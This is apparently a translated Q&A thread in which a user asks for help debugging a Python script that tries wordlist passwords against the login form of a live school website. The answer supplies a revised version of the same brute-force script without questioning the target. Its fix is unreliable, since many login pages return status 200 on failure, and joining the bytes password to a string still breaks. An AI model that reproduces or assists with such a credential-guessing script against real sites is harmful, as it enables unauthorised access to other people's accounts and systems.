“需要類似字節的 object，而不是 str” Python 中的錯誤

Question

為了在大流行期間做點什么，我嘗試創建一個密碼破解程序來嘗試猜測我自己的學校網站密碼（我知道這很無聊，但我覺得這很酷）。

但是，當我運行我的程序時，我得到“如果'無效密碼'不在 response.content:”中，我得到“需要一個類似字節的 object，而不是'str'”。

我環顧四周，但找不到任何可以幫助我的東西。 如果有人可以提供幫助，將不勝感激

target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)

with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["Password"] = word
        response = requests.post(target_url, data=data_dict)
        if "Invalid password" not in response.content:
            print("[+] Login Successful! Password = " + word)
            exit()
print("[-] Program finished, No password found :(")```

Answer 1

我不認為驗證內容是最好的方法。 嘗試驗證響應狀態碼，如果密碼正確，狀態碼將為 200，否則為 401 或 403。例如

target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)

with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["Password"] = word
        response = requests.post(target_url, data=data_dict)
        if response.status_code == 200: # This is the changed line
            print("[+] Login Successful! Password = " + word)
            exit()
print("[-] Program finished, No password found :(")